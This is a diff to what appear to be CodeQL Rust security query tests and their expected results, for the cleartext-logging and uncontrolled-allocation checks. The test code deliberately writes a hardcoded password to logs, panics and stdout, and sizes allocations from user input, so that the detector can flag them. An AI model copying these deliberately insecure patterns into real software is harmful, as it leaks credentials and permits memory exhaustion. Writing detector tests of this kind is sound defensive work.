&... | +| test_logging.rs:180:35:180:81 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:180:36:180:81 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:180:36:180:81 | res | semmle.label | res | +| test_logging.rs:180:44:180:80 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:180:44:180:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:180:44:180:80 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:180:44:180:80 | { ... } | semmle.label | { ... } | +| test_logging.rs:180:72:180:80 | password2 | semmle.label | password2 | +| test_logging.rs:183:9:183:19 | err_result2 [Err] | semmle.label | err_result2 [Err] | +| test_logging.rs:183:47:183:68 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:183:51:183:59 | password2 | semmle.label | password2 | +| test_logging.rs:183:51:183:67 | password2.clone() | semmle.label | password2.clone() | +| test_logging.rs:184:13:184:23 | err_result2 [Err] | semmle.label | err_result2 [Err] | +| test_logging.rs:184:25:184:34 | log_expect | semmle.label | log_expect | +| test_logging.rs:187:9:187:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:187:47:187:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:187:51:187:59 | password2 | semmle.label | password2 | +| test_logging.rs:188:13:188:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:188:25:188:34 | log_unwrap | semmle.label | log_unwrap | +| test_logging.rs:192:5:192:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:192:12:192:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:192:30:192:37 | password | semmle.label | password | +| test_logging.rs:193:5:193:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:193:14:193:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:193:30:193:37 | password | semmle.label | password | +| test_logging.rs:194:5:194:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:194:13:194:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:194:31:194:38 | password | semmle.label | password | +| test_logging.rs:195:5:195:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:195:15:195:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:195:31:195:38 | password | semmle.label | password | +| test_logging.rs:199:13:199:44 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:199:20:199:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:199:36:199:43 | password | semmle.label | password | +| test_logging.rs:202:13:202:43 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:202:19:202:42 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:202:35:202:42 | password | semmle.label | password | +| test_logging.rs:205:13:205:52 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:205:28:205:51 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:205:44:205:51 | password | semmle.label | password | +| test_logging.rs:208:13:208:50 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:208:26:208:49 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:208:42:208:49 | password | semmle.label | password | +| test_logging.rs:211:13:211:52 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:211:28:211:51 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:211:44:211:51 | password | semmle.label | password | +| test_logging.rs:214:13:214:54 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:214:13:214:54 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | +| test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:214:30:214:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:214:46:214:53 | password | semmle.label | password | +| test_logging.rs:217:13:217:54 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:217:13:217:54 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | +| test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:217:30:217:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:217:46:217:53 | password | semmle.label | password | +| test_logging.rs:220:13:220:58 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:220:34:220:57 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:220:50:220:57 | password | semmle.label | password | +| test_logging.rs:223:13:223:60 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:223:13:223:60 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | +| test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:223:36:223:59 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:223:52:223:59 | password | semmle.label | password | +| test_logging.rs:226:13:226:60 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:226:13:226:60 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | +| test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:226:36:226:59 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:226:52:226:59 | password | semmle.label | password | +| test_logging.rs:229:23:229:28 | expect | semmle.label | expect | +| test_logging.rs:229:23:229:28 | expect | semmle.label | expect | +| test_logging.rs:229:30:229:62 | res | semmle.label | res | +| test_logging.rs:229:30:229:71 | ... .as_str() | semmle.label | ... .as_str() | +| test_logging.rs:229:38:229:61 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:229:38:229:61 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:229:38:229:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:229:38:229:61 | { ... } | semmle.label | { ... } | +| test_logging.rs:229:54:229:61 | password | semmle.label | password | +| test_logging.rs:242:10:242:14 | write | semmle.label | write | +| test_logging.rs:242:16:242:50 | res | semmle.label | res | +| test_logging.rs:242:16:242:61 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:242:24:242:49 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:242:24:242:49 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:242:24:242:49 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:242:24:242:49 | { ... } | semmle.label | { ... } | +| test_logging.rs:242:42:242:49 | password | semmle.label | password | +| test_logging.rs:245:10:245:18 | write_all | semmle.label | write_all | +| test_logging.rs:245:20:245:54 | res | semmle.label | res | +| test_logging.rs:245:20:245:65 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:245:28:245:53 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:245:28:245:53 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:245:28:245:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:245:28:245:53 | { ... } | semmle.label | { ... } | +| test_logging.rs:245:46:245:53 | password | semmle.label | password | +| test_logging.rs:248:9:248:13 | write | semmle.label | write | +| test_logging.rs:248:15:248:49 | res | semmle.label | res | +| test_logging.rs:248:15:248:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:248:23:248:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:248:23:248:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:248:23:248:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:248:23:248:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:248:41:248:48 | password | semmle.label | password | +| test_logging.rs:251:9:251:13 | write | semmle.label | write | +| test_logging.rs:251:15:251:49 | res | semmle.label | res | +| test_logging.rs:251:15:251:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:251:23:251:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:251:23:251:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:251:23:251:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:251:23:251:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:251:41:251:48 | password | semmle.label | password | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 3e8dbe81636..4b12005a6cb 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -1,8 +1,7 @@ - -use log::{debug, error, info, trace, warn, log, Level}; -use std::io::Write as _; -use std::fmt::Write as _; +use log::{debug, error, info, log, trace, warn, Level}; use log_err::{LogErrOption, LogErrResult}; +use std::fmt::Write as _; +use std::io::Write as _; // --- tests --- @@ -134,14 +133,20 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { trace!("message = {:#?}", t1); // $ MISSING: Alert[rust/cleartext-logging]=t1 // logging from a struct - let s1 = MyStruct1 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s1 + let s1 = MyStruct1 { + harmless: "foo".to_string(), + password: "123456".to_string(), // $ MISSING: Source=s1 + }; warn!("message = {}", s1.harmless); warn!("message = {}", s1.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:#?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 - let s2 = MyStruct2 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s2 + let s2 = MyStruct2 { + harmless: "foo".to_string(), + password: "123456".to_string(), // $ MISSING: Source=s2 + }; warn!("message = {}", s2.harmless); warn!("message = {}", s2.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s2); // (this implementation does not output the password field) @@ -175,8 +180,8 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] // test `log_expect` with sensitive `Result.Err` - let err_result2: Result = Err(password2.clone()); - let _ = err_result2.log_expect(""); // $ MISSING: Alert[rust/cleartext-logging] + let err_result2: Result = Err(password2.clone()); // $ Source=s3 + let _ = err_result2.log_expect(""); // $ Alert[rust/cleartext-logging]=s3 // test `log_unwrap` with sensitive `Result.Err` let err_result3: Result = Err(password2); // $ Source=err_result3 @@ -190,24 +195,54 @@ fn test_std(password: String, i: i32, opt_i: Option) { eprintln!("message = {}", password); // $ Alert[rust/cleartext-logging] match i { - 1 => { panic!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 2 => { todo!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 3 => { unimplemented!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 4 => { unreachable!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 5 => { assert!(false, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 6 => { assert_eq!(1, 2, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 7 => { assert_ne!(1, 1, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 8 => { debug_assert!(false, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 9 => { debug_assert_eq!(1, 2, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 10 => { debug_assert_ne!(1, 1, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 11 => { _ = opt_i.expect(format!("message = {}", password).as_str()); } // $ Alert[rust/cleartext-logging] + 1 => { + panic!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 2 => { + todo!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 3 => { + unimplemented!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 4 => { + unreachable!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 5 => { + assert!(false, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 6 => { + assert_eq!(1, 2, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 7 => { + assert_ne!(1, 1, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 8 => { + debug_assert!(false, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 9 => { + debug_assert_eq!(1, 2, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 10 => { + debug_assert_ne!(1, 1, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 11 => { + _ = opt_i.expect(format!("message = {}", password).as_str()); // $ Alert[rust/cleartext-logging] + } _ => {} } - std::io::stdout().lock().write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] - std::io::stderr().lock().write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] - std::io::stdout().lock().write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] - std::io::stdout().lock().write_all(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] + std::io::stderr() + .lock() + .write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write_all(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] let mut out = std::io::stdout().lock(); out.write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] @@ -219,6 +254,10 @@ fn test_std(password: String, i: i32, opt_i: Option) { fn main() { simple_logger::SimpleLogger::new().init().unwrap(); - test_log("harmless".to_string(), "123456".to_string(), "[encrypted]".to_string()); + test_log( + "harmless".to_string(), + "123456".to_string(), + "[encrypted]".to_string(), + ); test_std("123456".to_string(), 0, None); } diff --git a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected index d3d59980e32..99dc5510ef3 100644 --- a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected @@ -13,3 +13,7 @@ multiplePathResolutions | main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | | main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | | main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:229:13:229:37 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:229:13:229:37 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:233:18:233:42 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:233:18:233:42 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index 0e9acca98d7..54157a7f7d1 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -32,11 +32,17 @@ | main.rs:169:17:169:33 | ...::alloc | main.rs:317:13:317:26 | ...::args | main.rs:169:17:169:33 | ...::alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:177:13:177:29 | ...::alloc | main.rs:317:13:317:26 | ...::args | main.rs:177:13:177:29 | ...::alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:193:32:193:36 | alloc | main.rs:317:13:317:26 | ...::args | main.rs:193:32:193:36 | alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:193:32:193:36 | alloc | main.rs:317:13:317:26 | ...::args | main.rs:193:32:193:36 | alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:195:32:195:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:195:32:195:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:196:32:196:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:196:32:196:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:197:32:197:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:197:32:197:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:197:32:197:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:197:32:197:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:198:32:198:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:198:32:198:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:198:32:198:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:198:32:198:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:202:32:202:38 | realloc | main.rs:317:13:317:26 | ...::args | main.rs:202:32:202:38 | realloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:208:40:208:43 | grow | main.rs:317:13:317:26 | ...::args | main.rs:208:40:208:43 | grow | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:210:40:210:50 | grow_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:210:40:210:50 | grow_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:219:13:219:24 | ...::malloc | main.rs:317:13:317:26 | ...::args | main.rs:219:13:219:24 | ...::malloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | @@ -53,36 +59,36 @@ edges | main.rs:18:41:18:41 | v | main.rs:32:60:32:89 | ... * ... | provenance | | | main.rs:18:41:18:41 | v | main.rs:35:9:35:10 | s6 | provenance | | | main.rs:20:9:20:10 | l2 | main.rs:21:31:21:32 | l2 | provenance | | -| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:34 | | main.rs:20:14:20:63 | ... .unwrap() | main.rs:20:9:20:10 | l2 | provenance | | -| main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:21:31:21:32 | l2 | main.rs:21:13:21:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | -| main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | +| main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:20 | +| main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:20 | | main.rs:21:31:21:32 | l2 | main.rs:24:38:24:39 | l2 | provenance | | -| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:31 | +| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:34 | | main.rs:22:31:22:53 | ... .unwrap() | main.rs:22:13:22:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:31 | -| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:25 | +| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:34 | +| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:28 | | main.rs:23:31:23:68 | ... .pad_to_align() | main.rs:23:13:23:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:24:38:24:39 | l2 | main.rs:24:13:24:36 | ...::alloc_zeroed | provenance | MaD:4 Sink:MaD:4 | | main.rs:29:9:29:10 | l4 | main.rs:30:31:30:32 | l4 | provenance | | | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | main.rs:29:9:29:10 | l4 | provenance | | -| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:30:31:30:32 | l4 | main.rs:30:13:30:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:32:9:32:10 | l5 | main.rs:33:31:33:32 | l5 | provenance | | | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | main.rs:32:9:32:10 | l5 | provenance | | -| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:33:31:33:32 | l5 | main.rs:33:13:33:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:35:9:35:10 | s6 | main.rs:36:60:36:61 | s6 | provenance | | | main.rs:36:9:36:10 | l6 | main.rs:37:31:37:32 | l6 | provenance | | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | main.rs:36:9:36:10 | l6 | provenance | | -| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:37:31:37:32 | l6 | main.rs:37:13:37:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:28 | +| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:31 | | main.rs:39:9:39:10 | l7 | main.rs:40:31:40:32 | l7 | provenance | | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | main.rs:39:9:39:10 | l7 | provenance | | -| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:40:31:40:32 | l7 | main.rs:40:13:40:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:43:44:43:51 | ...: usize | main.rs:50:41:50:41 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:51:41:51:45 | ... + ... | provenance | | @@ -90,56 +96,56 @@ edges | main.rs:43:44:43:51 | ...: usize | main.rs:54:48:54:53 | ... * ... | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:58:34:58:34 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:67:46:67:46 | v | provenance | | -| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | main.rs:50:31:50:53 | ... .0 | provenance | | | main.rs:50:31:50:53 | ... .0 | main.rs:50:13:50:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | +| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | main.rs:51:31:51:57 | ... .0 | provenance | | | main.rs:51:31:51:57 | ... .0 | main.rs:51:13:51:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:31 | +| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | +| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:34 | | main.rs:53:31:53:58 | ... .unwrap() | main.rs:53:13:53:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | -| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:30 | +| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:34 | | main.rs:54:31:54:63 | ... .unwrap() | main.rs:54:13:54:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | +| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:30 | | main.rs:58:9:58:20 | TuplePat [tuple.0] | main.rs:58:10:58:11 | k1 | provenance | | | main.rs:58:10:58:11 | k1 | main.rs:59:31:59:32 | k1 | provenance | | -| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:30 | +| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:33 | | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | main.rs:58:9:58:20 | TuplePat [tuple.0] | provenance | | -| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | +| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | | main.rs:59:31:59:32 | k1 | main.rs:59:13:59:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:59:31:59:32 | k1 | main.rs:60:34:60:35 | k1 | provenance | | -| main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:20 | +| main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:23 | | main.rs:59:31:59:32 | k1 | main.rs:64:48:64:49 | k1 | provenance | | -| main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:22 | +| main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:25 | | main.rs:60:9:60:20 | 